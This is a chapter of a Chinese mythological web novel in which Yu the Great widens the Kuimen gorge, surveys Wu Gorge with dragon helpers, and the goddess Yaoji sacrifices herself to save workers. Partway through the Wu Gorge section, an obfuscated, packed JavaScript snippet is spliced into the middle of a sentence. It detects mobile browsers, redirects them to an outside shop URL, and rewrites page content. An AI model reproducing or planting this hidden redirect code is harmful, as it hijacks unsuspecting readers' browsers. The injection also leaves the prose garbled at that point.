最后,伯益对犁老诚恳说道:“犁老之问,方是治水之本意!水患平息,河道畅通,岂止利于舟楫?我等正欲借此疏导之机,依山势开凿引水渠,将部分江水引入高地,灌溉山田。届时,不仅水害得除,水利亦将普惠四方!此乃功在当代,利在千秋之事!” 禹始终静听,此刻才起身,走到篝火旁,目光扫过每一位土著首领和勇士:“阿獃兄弟的悲愤,我感同身受,此仇,我等当向这水患去报!巴蔓首领的顾虑,理所应当,此约,我等当以血肉性命去守!犁老所盼的福祉,正是我辈孜孜以求的目标,此利,我等当与两岸父□□享!” 他抓起一把脚下的沙石,任由其从指缝滑落,声音沉雄有力:“禹在此立誓,开凿夔门,我必立于最前!若违此誓,有如此沙,散于大江,尸骨无存!” 阿獃紧握的拳头微微松开,他盯着禹那双布满老茧和裂口的手,又看了看伯益真诚的眼神,终于闷声道:“……我带你们去看水情。但怎么探,得听我的。” 巴蔓仔细查看了皋陶的律条兽骨,又与其他部族长老低声交换意见,最终微微颔首:“既如此,我巴蛇部可出船五艘,善水者二十人,暂听调遣。” 犁老脸上露出欣慰的笑容:“丹犁部愿出三十青壮,并所有疗伤祛瘴之草药,助司空功成!” 平水土之师以其务实、尊重和愿意共担风险的诚意,终于在这天险之地,赢得了初步的、却至关重要的立足之地。 禹深知,面对夔门这等天险,一丝谬误都可能招致灭顶之灾。翌日黎明,他便组建了一支精干的勘查队,成员包括:手持墨玉星盘感应地脉的羲青、负责记录山川形势与水文的伯益、精于判断岩层结构的砺,以及最为关键的向导——阿獃。禹本人则携带了伏羲玉简与水玉简,以备不时之需。 勘查在阿獃等向导的引领下迅速展开。 乘着小舟,艰难靠近那如同巨兽之口的狭窄夔门。江水在此的咆哮声几乎要撕裂耳膜。阿獃指着那几乎要合拢的岩壁:“看,就这里最窄!老祖宗叫它‘鬼门关’!水大的时候,看着都头晕!”他又指向峡内深处,“过了这关,里面稍微宽点,但那个‘龙咬牙’(滟澦堆)就蹲在那儿,等着磕碎船底!” 伯益顶着风浪,记录峡口宽度与水流速度。羲青的星盘在夔门两侧特定位置反应最为强烈,她标记出几个能量郁积点,很可能是施工的关键或危险区域。禹则动用伏羲玉简推演拓宽不同宽度可能引起的水流变化,发现只需略微拓宽,水流速度与冲击力便能显著改善。水玉简在相对靠近岸边的缓流区,能大致显示水下岸基的形态。 砺带领人手,用绳索吊在岩壁上,仔细敲击检查。数日后,他带着些许振奋回报:“司空!左侧岩壁中段,发现一处隐藏的纵向节理,虽细如发丝,但向内延伸颇深,或可借此做文章!只是岩体实在太硬……” 水位观测点(表木)被设立在夔门上游,数据清晰显示,即便非汛期,峡口对水流的阻滞也极其明显。 经过数日缜密的勘查,核心成员再次齐聚那间狭小的河工营帐。舆图上已添满了新的标记和数据。 禹首先开口,目光扫过众人:“现状已明。欲畅江流,必先拓夔门。而拓夔门之关键,在于利用左侧岩壁之天然节理,小心翼翼地向内、向下拓展,既不能引发大规模崩塌堵塞水道,又需达到显著拓宽之效。” 砺指着地图道:“我意,集中最精干的力量与最好的工具,主攻左侧节理处。先以小火慢烧,再以酸梅浆浇蚀,辅以人力精凿,逐步剥离。同时,在右侧相对稳定处,进行小规模修整,以求平衡。” 羲青补充:“星盘标记的几处能量郁积点,需避开或极其谨慎处理。我会时刻监控地脉变化。” 伯益则从全局考虑:“一旦峡口有所拓宽,水流加速,下游滟澦堆承受的冲击将更大,需提前准备后续治理方案。同时,拓宽工程产生的碎石,需及时清理,顺流运走,或用于加固岸边。” 皋陶道:“人力物资已初步就位,律令已宣,可即刻开工。” 禹听完众人之言,沉思片刻,决断道:“便依此策!主攻左,辅修右,稳步推进!砺督战左翼;伯益协调;羲青监脉;皋陶维序。阿獃及其族人,负责预警水流突变与落石。” 决策既下,整个营地如同精密的器械般运转起来。 在伯益与皋陶的协调下,夔部落的五十名壮丁、巴蛇部的二十名善水者及五艘梭形船、丹犁部的三十名青壮以及大量草药陆续抵达工地。起初,各族民夫泾渭分明,彼此间带着好奇与些许戒备。 皋陶立刻行动,将所有人打散混编成不同的小队,每队皆由经验丰富的夏人工匠或岳卫锐士担任工率,并配备一名熟悉当地情况的土著作为副手。阿獃被任命为东侧开凿先锋队的副工率,负责指引安全路径和识别危险征兆。皋陶将刻有律条的石板立于工地最显眼处,并派执法队巡视,确保令行禁止。 工地上,号令声、鼓声、号子声逐渐压过了江水的咆哮。砺坐镇东侧,指挥民夫们利用火燎水激等法,对付坚硬的岩层。阿獃则如灵猿般在陡峭的岩壁上穿梭,固定绳索,指示开凿点位,他的经验避免了数次小范围的险情。 然而,进展极其缓慢。青罡石的坚硬程度超乎想象,火燎仅能使其表面微热,酸浆效果亦不显著,青铜工具磨损极快。数日过去,那处寄予厚望的节理,似乎只被刨开了一层浅皮。 阿獃看着那几乎纹丝不动的岩壁,忍不住对身旁一名夏人工匠低声道:“这……这怕是真的在给山神挠痒痒……” 禹亲至最前沿观察,眉头深锁。他沉吟片刻,请出了伏羲开山斧。神斧在手,一股苍茫古老的气息弥漫开来。禹凝神聚力,挥斧劈向一处关键岩脊! 寒光一闪! “铿——!” 一声刺耳的金石交鸣之声响起,火星四溅!只见那岩脊上赫然出现了一道尺余深的裂痕,碎石簌簌而下!周围民夫见状,精神大振,发出欢呼! 然而,不待禹再次挥斧,羲青急声阻止:“司空且慢!”她手中星盘光华剧烈闪烁,直指裂痕后方,“此裂痕延伸之处,地脉波动异常剧烈,其后必有巨大空腔!神斧之力至刚至猛,若强行劈入,恐瞬间引动后方岩层大规模崩塌,后果不堪设想!” 禹闻言,立刻收势,俯身将手掌贴于岩壁,果然感受到一股来自地底深处的、空洞的回响。他长叹一声,抚摸着冰凉的斧刃:“投鼠忌器,奈何!” 伏羲开山斧虽能劈开山岩,却无法自行判断地质结构,在此等需要精微操作、避免连锁反应的地方,竟显得有些束手束脚。 与此同时,弃负责的后勤压力与日俱增。 “仓实,今日粮储如何?”弃的眉头就没有舒展过。 仓实清点着箩筐,语气沉重:“黍米仅够三日之需。新采野菜不足五筐,猎获山雉三只,小型兽类若干……但又有两名采集者被毒蛇咬伤,辛夷姑娘正在全力救治。” 话音未落,赤须龙化作的红衣少年一阵风似的跑来,抹着汗报告:“弃大人!西边山坳发现成片果林,长势极好!可是……林深草密,发现有大型猛兽的踪迹和新鲜粪便,怕是豹子甚至虎豹!” 一旁的飞猿立刻请命:“弃大人,让我带几个身手好的兄弟去!驱赶猛兽,抢收野果!” 百草也补充道:“林间瘴气弥漫,毒虫甚多,需多备解毒避瘴的药草,我这就带人去采。” 弃当机立断:“好!飞猿,你挑选十名精锐,携带武器火把,前去采果,务必确保安全!泽虎,加派护卫,保护采集队伍。仓实,继续清点可用物资。我亲自再去寻犁老商议,看能否用盐和布匹,多换些他们窖藏的薯蓣应急。” 禹每日与众人同食同劳,手持耒耜,与民夫一同撬石运土,但效果甚微。 夔隆等人远远观望,眼中疑虑日深。 三十三天外,紫微垣深处。 帝俊跌坐于星辰本源之中,指尖虚按天道琴弦。他将夔门前的一切尽收眼底——人族的挣扎、协作、智慧与不屈不挠。他看到禹在极限压力下的沉稳,看到团队成员的群策群力,看到土著部落从怀疑到拥护的转变。 “陛下,”仙官轻声道,“司空禹似已竭尽所能。” 帝俊深邃眼眸中掠过一丝真正的赞赏:“此子,已得‘导’之三昧。非仅导水,亦能导人、导心。其自助已至极致,人族于此所展现之勇气、坚韧与大爱,足动天听。” 他目光投向那颗沉凝厚重的镇星:“镇星司土,其力沉凝,正可化解此郁结,松动岩根而不致崩塌。着其显化分神,下降凡尘,助禹拓宽夔门。昼伏夜出,以黄牛之形,抵角撼山,勿显其踪。此非代庖,乃是助缘。自助者,天方助之。” 是夜,月暗星稀,唯有峡江咆哮如旧。禹于帐中辗转,忽闻一阵低沉而规律的闷响自峡口传来,非雷非浪,似巨物叩击大地深处,连身下的草席都传来细微震颤。他心念微动,悄然出帐,未惊动守卫,独自循声潜行。 靠近那白日里久攻不克的左侧岩壁,借着朦胧水光与稀疏星辉,他看到了那令人心神震撼的一幕:一头体型远比寻常耕牛硕大、筋肉如丘壑般虬结的黄牛,正沉稳地立于嶙峋的乱石之中。它通体笼罩着一层极淡却温润的黄色光晕,尤其是那双弯曲雄健的巨角,光华内蕴,仿佛凝聚了大地精髓。它并非以蛮力冲撞,而是以一种极具韵律和耐心的姿态,将双角深深抵住岩壁上那处关键的节理及其周边区域。每一次看似缓慢的抵入,都伴随着岩层深处传来细微却清晰的“咔嚓”声,如同冰面在春日下悄然龟裂。那坚不可摧的青罡石,在其角下,内部结构正被一种浑厚而精妙的力量徐徐瓦解、酥松,而山体整体却保持着奇异的稳定,并无巨石滚落之险。 就在禹凝神观看之际,那黄牛仿佛早已感知他的到来,缓缓抬起头。四目相对的一瞬,禹并未看到牲畜的懵懂,那双铜铃大的眼眸中,只有一种属于古老星辰的、洞悉一切的沉静与智慧。没有言语,但一股磅礴而安宁的意念已无声地流入禹的心间——那是对他与人族不屈不挠精神的认可,是对这疏通水道、泽被苍生伟业的支持,更是一种“自助者天助之”的天道昭示。禹心中豁然开朗,百感交集,他并未上前,只是整理了一下粗葛衣衫,对着那神异的黄牛,在凛冽的江风中,深深一揖及地,一切尽在不言之中。黄牛目光微动,似有颔首之意,随即再次低头,专注于那撼动山根的伟业。 翌日,天光微亮,砺便如同往常一样,第一个来到工地。他习惯性地用青铜镐敲击那处节理,准备迎接那令人沮丧的沉闷回响。然而—— “铿……噗!” 声音不对!不再是坚不可摧的硬响,而是带着一种奇异的酥松感!砺一愣,凑近细看,只见昨日还只有发丝般细缝的岩壁,此刻竟布满了密密麻麻的网状裂纹,如同干涸大地久旱逢甘霖后的龟裂,一直向内里延伸! “这……这是?!”砺难以置信地用手去抠,一块原本需要重锤才能敲下的岩石,竟被他徒手掰了下来!他猛地站起身,对着陆续到来的民夫和同僚大吼:“快!快来看!山石……山石变酥了!” 消息像野火般传遍营地。伯益快步赶来,用手捻起一把岩屑,在指间碾磨,眼中充满了惊奇:“不可思议……绝非自然风化,此乃……神力所为!”他看向禹,禹只是微微颔首,并未多言。 皋陶闻讯,立刻增派人手护卫现场,并大声宣告:“天佑善治,助我疏通!各部民夫,依律作业,不得争抢,不得懈怠!” 最先沸腾起来的是那些夔部、巴蛇部的民夫和向导。 阿獃几乎扑到岩壁上,用手抚摸着那些裂纹,激动得声音发颤:“是山神!肯定是山神被司空感动了!它听见我们的号子了!它来帮我们了!”他转身对着自己部落的族人大喊:“还愣着干什么!快拿家伙!别辜负了山神的心意!” 一位巴蛇部的老船工,看着那变得酥松的岩石,老泪纵横,他对着东方——巴蛇部聚居的方向——跪下,喃喃道:“祖宗保佑……这该死的‘鬼门关’,终于……终于要开了啊!” 就连一向冷静的巴蔓,在亲自查看了岩壁变化后,也久久无语,她走到禹面前,第一次深深行了一个大礼,语气复杂:“司空……你竟真能引动天听。我巴蛇部,服了。” 犁老在族人搀扶下,抚摸着那仿佛被赋予了生命的岩石,感叹道:“厚德载物,这便是大地之力的仁慈吗?司空,你此行,实乃顺天应人之举。” 整个工地沸腾了!号子声前所未有的嘹亮,之前低迷的士气一扫而空,取而代之的是如同火山喷发般的干劲。工具损耗大减,效率倍增!人们不再觉得是在徒劳地“给山神挠痒痒”,而是在完成一项得到天地认可的神圣功业。 如此昼伏夜出,那神秘的黄牛每夜都会前来,以无上伟力继续松动岩根;而白日里,成千上万的民夫则在砺的统一指挥下,热火朝天地开凿、搬运、拓宽。旬日之间,成效卓著!那原本狭窄如咽喉、令人窒息的夔门左侧,被硬生生向内削进了数丈之深!水道显著宽阔,奔涌而来的江水如同挣脱了部分枷锁的巨龙,虽然依旧湍急,但那令人心悸的挤压感和轰鸣声却减弱了许多,流势变得更为顺畅浩荡。 站在初拓的夔门前,望着那豁然开朗的景象,所有参与者——无论是夏人还是土著——都忍不住发出震天的欢呼。许多人相拥而泣,这是见证奇迹、参与创造的喜悦。 禹卓立水边,江风拂动他沾满尘灰的发丝。他望着那奔流而去的江水,心中并无太多喜悦,只有一份沉甸甸的责任与对前路的清醒。他知道,夔门初拓,仅仅是打开了通往更深邃险境的大门。 夔门初拓,江水得以更顺畅地涌入接下来的旅程。船队继续东进,穿过那段因拓宽而略显平缓的河道后,眼前景象陡然一变,进入了另一番天地——幽深秀丽、云雾缭绕的巫峡。 十二峰如翠屏环列,直插云霄,在缥缈的云海中若隐若现,宛如仙境。猿鸣之声空谷传响,哀转久绝。然而,这如画美景之下,却潜藏着比瞿塘峡更为复杂诡异的杀机。水道在此变得九曲回肠,看似平静的水面下暗礁林立,潜流如同无数看不见的手,撕扯着舟船的底部。更令人头痛的是,两岸山体布满了大小不一的溶洞,如同巨兽呼吸的孔窍,无数地下暗河与主河道或明或暗地勾连相通,使得此地水文地质情况变得如同一团乱麻。 平水土之师初入巫峡,便遭遇了当头棒喝。 禹依照惯例,首先派出勘测队。这一次,队伍更加庞大,除了伯益、羲青、砺和阿獃等老面孔,那五位平日不显山露水的“随从”——五小龙所化的少年,也默不作声地跟在队伍中。他们好奇地打量着这片灵气氤氲却又危机四伏的土地。 起初的勘测便极不顺利。伯益试图利用伏羲玉简推演水脉,却发现此地暗流交织,玉简显示的轨迹混乱不堪,如同被猫抓乱的线团。羲青的墨玉星盘光华剧烈跳动,她蹙眉汇报:“司空,此地水脉与地脉纠缠之深,远超夔门。无数溶洞暗河如同迷宫,星盘难以精确捕捉每一条支脉的走向,只能感应到几处能量冲突异常剧烈的节点,极其危险。” 砺带着人试图在几处看似可以开凿的崖壁打下标记,却险些引发小规模滑坡。“山石看似坚固,内部却被暗流掏空了不少,根基不稳!”他心有余悸。 阿獃和他带来的几个巴人、夔人向导,凭借祖辈相传的经验,指出了一些危险的漩涡区和暗礁,但对于那些深藏于水下的溶洞入口和错综复杂的暗流网络,他们也知之有限。“老人们只说,有些洞是‘龙王爷的肠子’,进去就出不来。”阿獃无奈道。 一次,在试图拓宽一处名为“鬼见愁”的狭窄弯道时,悲剧发生了。民夫们刚刚清理掉表面的碎石,下方看似坚实的河岸突然塌陷,露出一个巨大的溶洞入口,湍急的暗流瞬间将三名靠近的民夫连同工具一起卷入了深不见底的黑暗之中,连呼救都来不及发出。现场一片死寂,只有江水呜咽。 沉重的气氛笼罩着营地。挫败感、恐惧感,以及对这片未知水域的无力感,深深刺痛着每一个人。 当晚,河工营帐内灯火通明,气氛凝重。禹召集了所有核心成员,以及几位主要的土著向导,包括阿獃和巴蛇部一位经验最丰富的老渔师。 “巫峡之复杂,超乎预计。”禹开门见山,声音沙哑,“我等不能再用旧法蛮干。今日召集诸位,便是要集思广益,任何细微的发现、任何古老的传说,都可能成为破局的关键。” 伯益首先发言,他铺开连日来绘制的、却布满问号和叉号的草图:“根据现有观测,巫峡水道并非一条单一河道,而是一个以主河道为干,无数暗河、溶洞为支的庞大地下-地上水网系统。我等若只清理主河道,犹如只疏通大树主干,而忽略其盘根错节的根系,效果不彰,且极易引发其他支系的紊乱,导致新的塌方。” 砺接口道:“工正所属发现,许多看似可开凿的岩壁,其强度与内部结构差异极大。需有一种方法,能提前探知其内部是否中空,是否与暗河相连。” 那位巴蛇部老渔师,名叫巴鼍,操着浓重的口音说道:“司空,我们巴人世代行船,知道有些水段,听着水声空洞,底下必有暗洞。还有些地方,冬天冒热气,夏天泛寒气,下面定有古怪。我们可以带人,用长竹竿探底,听声辨位。” 阿獃也补充:“我们猎人攀山,知道哪些岩石缝里有风,有风就通着别处。或许……可以从山上找那些通风的裂缝,往下探看?” 羲青若有所思:“星盘虽难细察每一条暗流,但对能量郁结、冲突之处感应敏锐。或可依星盘指引,优先标记最危险、最关键之节点,集中力量化解。” 禹仔细听着每个人的建议,眼中重新燃起光芒:“好!便依诸位之言!调整方略:伯益,你统筹全局,结合巴鼍老丈的听声辨位法、阿獃的寻风探隙法,重新绘制更精细的水网图,重点标注疑似危险区域。” “砺,你带人制作更长的探杆,并尝试用小规模爆破(利用火燎水激的变种)测试岩层响应,以此判断内部结构。” “羲青,你与我将星盘感应与实地探查结合,精准定位那些能量郁结点,分析其成因。” “皋陶,加强安全律令,凡危险区域,设立明显标识,未经允许,不得靠近。” “至于五龙……”禹看向那五位一直沉默聆听的少年,“你们对此有何见解?” 金麟,这位五小龙中天然的领袖,声音沉静有力:“司空,巫峡水脉之复杂,在于其‘隐’。暗流溶洞,非纯赖强力可破。我等龙族,于水有先天之契,或可分头潜入,以灵觉绘制水下脉络。”他提出的方案,已颇具战略眼光。 苍鬃抱臂而立,声如闷雷:“找到关键节点,若需破开碍事的岩层,交给我便是。” 云踪接口道:“我可快速巡弋,联络各方,确保信息通达无阻。” 站在地师羲青旁的墨琛,低声道:“青姊,我感知此地水灵躁动中带着一丝哀怨,似与地脉郁结有关,并非全然天险。或许……有共工遗毒的影响?” 赤须道:“探查溶洞我最在行!那些弯弯绕绕的地方,我钻得最快!” 在五小龙的协助下,结合伯益的宏观推演、砺的工法测试以及土著向导的经验,新的勘探策略得以制定。五小龙不再仅仅是执行者,而是成为了勘探的核心力量。他们时而化作龙形,潜入冰冷幽暗的深水,以龙族特有的灵觉感知水流细微变化,探明暗河走向和溶洞规模;时而又恢复人形,与伯益、羲青一同分析所得信息,提出自己的见解。他们的存在,极大地提升了效率,也缓解了人力的压力。 这一日,禹正与羲青、伯益在一处险滩前观测水势,忽见天际祥云缭绕,异香扑鼻。一位身着七彩云霞仙衣、容颜绝世的女子,在几位侍女的簇拥下,驾云而至,翩然落在众人面前。她气质高华,眉宇间却带着一抹挥之不去的哀愁与疲惫,正是曾遣青鸟赐下《三澨水道图》的巫山神女——瑶姬。 “禹,别来无恙。”瑶姬的声音空灵清越,却隐隐透着一丝中气不足。 禹连忙率众行礼:“禹,拜见瑶姬仙子。前番汉水得赠宝图,解了云梦之厄,尚未谢过仙子大恩。” 瑶姬的目光扫过众人,在五小龙身上略有停留,眼中闪过一丝讶异与了然:“想不到,在此人间治水队伍中,竟能见到应龙点化的后裔,且已成长如斯。” 瑶姬转向禹:“司空不必多礼。吾居巫山,守护此地方灵。近日见尔等为疏通水道,呕心沥血,却屡屡受挫于此地复杂水脉,故特来相助。” 她轻抬玉手,掌心浮现出一片灵光闪耀的玉册,比之前青鸟所呈更为详尽精妙。“此乃《巫山真形图》,不仅标注了巫峡所有明河暗流、溶洞分布、地质结构,更揭示了此地水脉与地气交汇之节点。依此图行事,可避凶趋吉,事半功倍。” 禹双手接过玉册,只觉一股清凉温和的灵力流入体内,脑海中顿时对巫峡水情了如指掌。他心中感激不尽:“仙子屡次援手,恩同再造!禹代天下万民,再谢仙子!” 瑶姬浅浅一笑,那笑容却带着一丝难以掩饰的虚弱:“司空为苍生舍身忘己,吾既遇之,岂能坐视?吾本体乃炎帝神农氏之女,精魂曾化瑶草,欲以草木之灵救治世人。然天地剧变,共工遗祸深重,非药石可医。疏导洪水,安定山河,方是根治之道。吾虽神力微薄,亦愿尽绵力。” 她顿了顿,望向那云雾深处的山峰,语气变得缥缈:“况且,守护这片土地,见证人族的坚韧与智慧,亦是吾心之所愿……” 在瑶姬的亲自指引和《巫山真形图》的辅助下,巫峡的勘测与疏浚工作得以精准展开。禹命五小龙依据图纸,引导水流,冲刷淤塞,避开脆弱的地质结构;砺则带领民夫,在确认安全的区域开凿拓宽河道。瑶姬不时指出关键,她那渊博的学识和对巫山一草一木的熟悉,避免了数次可能的灾难。 在空闲之余,五小龙总喜欢围绕着瑶姬问这问那。不仅因瑶姬为神女,更因她身上那股纯净而慈悲的自然气息,让他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705152|189169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心生亲近。 赤须:“瑶姬仙子,您守护巫山万千载,看这云聚云散,水涨水落,可曾觉得……永恒便是如此?我们龙族寿元漫长,但似乎也非无尽。” 瑶姬看着他们,目光温和而带着一丝不易察觉的怜悯:“天地尚无完体,何况神祇生灵?永恒……或许只是一个相对的概念。我本体乃草木之精,曾见一岁一枯荣,亦曾感山川亿载变迁。生命的意义,不在于刻度长短,而在于其质。如这江水,奔流不息,非为自身不竭,而为滋养万物,成就浩荡。” 墨琛若有所思,她与金麟交换了一个眼神,轻声问道:“仙子,我们一路行来,见过被戾气腐蚀、为祸一方的龙族,也见过如应龙尊者般撼动乾坤的正神。同为龙属,为何道路如此不同?我等既承禹司空导水之志,又该如何自处?” 瑶姬赞赏地看了墨琛一眼:“心念所致,道路所趋。共工之戾,能惑心志;然仁德之念,亦能净化污浊。尔等追随禹司空,以疏导代壅塞,以仁心御神力,此便是尔等选择的道路,亦是尔等存在的意义。守护与创造,远比破坏与占有,更近‘道’之本源。” 金麟凝神倾听,继而问道:“仙子,您提及生命之质。若……若为了成就更大的‘质’,比如拯救更多生灵,而需要牺牲个体之‘量’,比如……自身的存续,这其中的权衡,该如何考量?”他的问题,隐隐触及了某种预感,也反映了他们一路见证的牺牲。 瑶姬闻言,沉默了片刻,望向云雾缭绕的山峰,声音变得空远:“此问……甚难。乃存乎一心。若心之所向,是苍生安宁,是所爱无恙,那么‘我’之存灭,或许……便不再是唯一的考量了。”她的回答带着神性的超然,也隐含着一丝命运的悲怆。 这些对话,深深烙印在五小龙的心中。他们开始更深刻地思考自身作为龙族的责任,思考力量与仁爱的关系,甚至开始隐约触碰那名为“牺牲”的沉重议题。 虽然瑶姬依旧每日往来于各治水工段,衣袂飘飘,指点山川,可这几日,禹敏锐地察觉到,她那原本璀璨如朝霞的仙光正日渐黯淡,如同蒙尘的明珠。她的容颜越发苍白,几乎透明,偶尔在指点山河时,会微微蹙眉,依靠着山石才能稳住身形。空气中那原本清雅的兰芷幽香,也似乎淡去了几分,夹杂了一丝若有若无的、如同秋叶离枝般的枯寂气息。 “仙子,您的身体……”禹数次屏退左右,忧心忡忡地询问。 瑶姬总是淡然一笑,那笑容依旧美丽,却难掩深处的疲惫:“旧疾而已,无碍司空挂心。疏导巫峡,时机紧要,不容耽搁。”她轻描淡写地将话题引回水脉走向,那份超然物外之下的执着,让禹无法再追问,只能将忧虑压在心底,更加紧迫地推进工程。 然而,命运的巨轮从不因个体的意志而放缓。这一日,在疏通一处名为“锁龙滩”、连接着庞大地下溶洞网络的关键险滩时,灭顶之灾骤然而至。民夫们按照《真形图》指引,正小心开凿分流水道,突然—— “咔嚓……轰隆隆!!!” 一阵令人牙酸的、来自地底深处的断裂声猛地炸响!紧接着,便是山摇地动!锁龙滩上方,那片被暗河千年侵蚀、早已外强中干的巨大岩顶,承受不住开凿的震动,发生了灾难性的连锁崩塌!数以万钧计的巨石、泥沙,如同挣脱了囚笼的洪荒巨兽,带着毁灭一切的气势,朝着下方数十名正奋力作业、毫无防备的民夫倾泻而下!阴影瞬间笼罩了人群,绝望的惊呼被淹没在震耳欲聋的崩塌声中。 “快退!”砺的嘶吼道。他试图冲上前拉起最近的民夫,但距离太远,速度太快,人力在天地之威面前显得如此渺小! 就在这千钧一发、生死立判的刹那! 一道七彩霞光,比思维更快,比闪电更疾,骤然自半空绽放!是瑶姬!她仿佛早已预感到这一刻,身影在光芒中显现,双臂展开,周身仙光以前所未有的强度燃烧起来,如同即将燃尽的烛火迸发出最后也是最耀眼的光华!那光芒瞬间扩张,化作一道薄如蝉翼却坚韧无比的七彩光幕,硬生生、决绝地托住了那毁灭性的崩塌中心! “嗡——!” 光幕与万千巨石撞击,发出沉闷而巨大的轰鸣。瑶姬悬于光幕之下,身形剧烈地晃动了一下,脸色瞬间惨白如纸,没有一丝血色。金色的血液,带着浓郁的生命气息和神性光辉,不受控制地从她嘴角、眼角、甚至指尖沁出,滴落虚空,每一滴都仿佛在灼烧她的本源。她的仙体以肉眼可见的速度变得透明,仿佛下一刻就要消散在风中。 “仙子!”禹肝胆俱裂,目眦欲裂,就要不顾一切冲上去。 “勿管我!”瑶姬的声音透过轰鸣传来,带着急促的喘息和不容置疑的决绝,那声音虚弱,却如同惊雷般炸响在禹和所有人的心头,“稳住山基!引导暗流……按图所示……快!!”她将最后的力量与意志,都灌注在这光幕之上,为下方那些渺小的生命争取着或许只有瞬息,却无比宝贵的逃生之机。 禹痛彻心扉,但他知道此刻不容犹豫。他猛地转身喊道:“五龙!镇水!砺,加固!伯益,引流!快!快啊!” 五小龙长吟震天,瞬间化作五道璀璨光华投入汹涌的江水中,龙族之力全力爆发,稳住因山崩而狂暴的水灵。 砺双目赤红,带领岳卫和民夫,用巨木、石笼、血肉之躯拼命支撑崩塌边缘。伯益和羲青则扑在《巫山真形图》上,手指飞快地点划,声嘶力竭地指挥着剩余人手在预定地点紧急开凿泄流通道。 时间在生与死的边缘疯狂跳跃。当最后一名连滚带爬、满身泥污的民夫被同伴从死亡阴影下拽出,当泄流口终于在混乱中被强行打开,部分泥石洪流被引导向侧方山谷,瑶姬周身那璀璨夺目、却已是强弩之末的七彩霞光,如同风中残烛,骤然熄灭。 万籁俱寂,唯有崩塌的余响和江水的呜咽。 她仿佛一片失去了所有重量的羽毛,又像一幅褪了色的绝美画卷,从空中缓缓地、无声地飘落。 禹如同离弦之箭,飞身而上,在她触及冰冷地面之前,用颤抖的双臂,稳稳地、却又无比沉重地接住了她。入手处,轻若无物,那是一种生命正在急速流逝的虚无感,让他心胆俱裂。 “仙子!瑶姬仙子!”他的声音破碎不堪,充满了无尽的悔恨、痛楚与无力。 瑶姬艰难地、极其缓慢地睁开双眼。那双曾映照过万古云霞、洞察山川脉络的眼眸,此刻黯淡如同即将熄灭的星子,却奇异般地流淌着一种看透一切的平静与安然。她看着禹因极度痛苦而扭曲的面容,用微弱的声音道:“司空……不必……为我悲伤。”她的声音轻得像云絮,断断续续,“吾本……草木之灵,元气……有尽时……能以此身……助君成就……泽被苍生之业……护佑此间……万千生灵……吾心……足矣……” 她极其艰难地转过头,目光越过禹的肩膀,投向巫山那十二座在云雾中若隐若现的、她守护了不知多少岁月的秀丽山峰。那目光中,充满了母亲凝视孩子般的无尽眷恋、温柔与不舍,仿佛要将每一寸山峦、每一缕云雾都刻入永恒。 “愿君……永葆此心……导水安澜……天下……为公……”她的目光最后缓缓移回禹的脸上,仿佛要将这位坚毅的人族领袖的身影也一同带走,声音微不可闻,却如同最后的誓言: “吾将……身化……一石一木……与此……巫山云雨……朝朝……暮暮……长……伴……” 话音未尽,在她那定格着微笑与眷恋的唇角,在禹那承载了太多重量的臂弯里,瑶姬的仙体,彻底化作了无数璀璨夺目的七彩光点。它们如同挣脱了束缚的亿万精灵,又如同神女告别时洒下的泪滴,闪烁着生命最后也是最绚烂的光辉,翩然升腾,缭绕飞舞。 这绝美的景象,却带着锥心刺骨的悲恸。 所有目睹这一幕的人,都僵住了。 伯益手中的玉简“啪”地一声落在地上,他恍若未觉,只是喃喃低语:“瑶姬……仙子……”这位博闻强识的智者,此刻词穷了,唯有巨大的震撼与哀恸在胸中翻涌。原来,神,并非高高在上,漠视众生;神,意味着更大的担当,更重的责任,乃至……牺牲。 砺这位铁打的汉子,此刻虎目含泪。他看着那些获救的、惊魂未定的民夫,又看向那漫天的光雨,一种混杂着感激、悲痛与无比崇敬的情绪淹没了他。神女为救凡人而死,这颠覆了他对力量的认知。 羲青望着那光雨,眼中泪水无声滑落。她通过星盘感应天地,比旁人更清晰地感受到瑶姬本源之力的消散,那是一种为了守护而主动选择的、义无反顾的寂灭。“连神也会为了守护而逝……我们凡人生命短暂,更当如何?”她心中涌起一股强烈的冲动,想要立刻见到砺,不仅仅是并肩治水,更要珍惜每一个能与心爱之人共度的瞬间。然而,她也看到了禹那孤独而悲怆的背影,治水大业与个人情感,有时竟是如此难以两全。 五小龙中的墨琛依偎在金麟身边,龙族敏锐的灵觉让她感受到了那光雨中蕴含的磅礴爱意与守护意志,而非死亡的冰冷。她低声对金麟说:“麟,我好像……更明白你为何选择追随司空了。力量……原来可以这样用。” 金麟紧紧握着她的手,熔金般的龙目凝视着光雨,沉声道:“嗯。守护与创造,便是吾等之‘道’。” 赤须收起了所有的跳脱,肃然而立;苍鬃低下了威猛的头颅;云踪的身影在风中显得格外萧索。瑶姬的逝去,让他们这些长生种第一次如此深刻地直面“有限”与“牺牲”,并开始真正思考自身存在的终极意义。 而那些土著民夫——夔部、巴蛇部、丹犁部的勇士们,他们或许不懂高深的道理,但他们看得懂牺牲,感受得到那份跨越种族的守护之心。不知是谁先发出一声哽咽的哭嚎,随即,成千上万的人,如同被风吹倒的麦浪,齐刷刷地面向那光雨盘旋的巫山群峰,跪倒在地,用最质朴、最虔诚的叩首,用额头触碰着这片被神女鲜血守护的土地,发出震天的悲泣与感念。阿獃和他带来的猎手们,更是以头抢地,泣不成声,他们失去了一个兄弟,却见证了一位神女为救他们这样的凡人而陨落。 禹独自站立在江风之中,怀中那最后的、虚无的重量已然消失,唯有空气中残留的、那缕淡淡的兰芷清香,证明她曾存在过。他怔怔地望着那漫天飞舞、最终汇聚成三道绚烂光河投向神女、松峦、集仙三座山峰之巅的七彩光雨,直到光芒彻底融入山体,直到那三座山峰在云雾中显得前所未有的清晰、灵秀、圣洁。 恍惚间,那缭绕的云雾仿佛化作了女娇在轘辕山下决绝回望的眼神,那新生的神女峰轮廓,与女娇化为石像时永恒的姿态隐隐重叠。 一个是为了护住他们共同的骨血,一个是为了护住这素不相识的万千生灵。 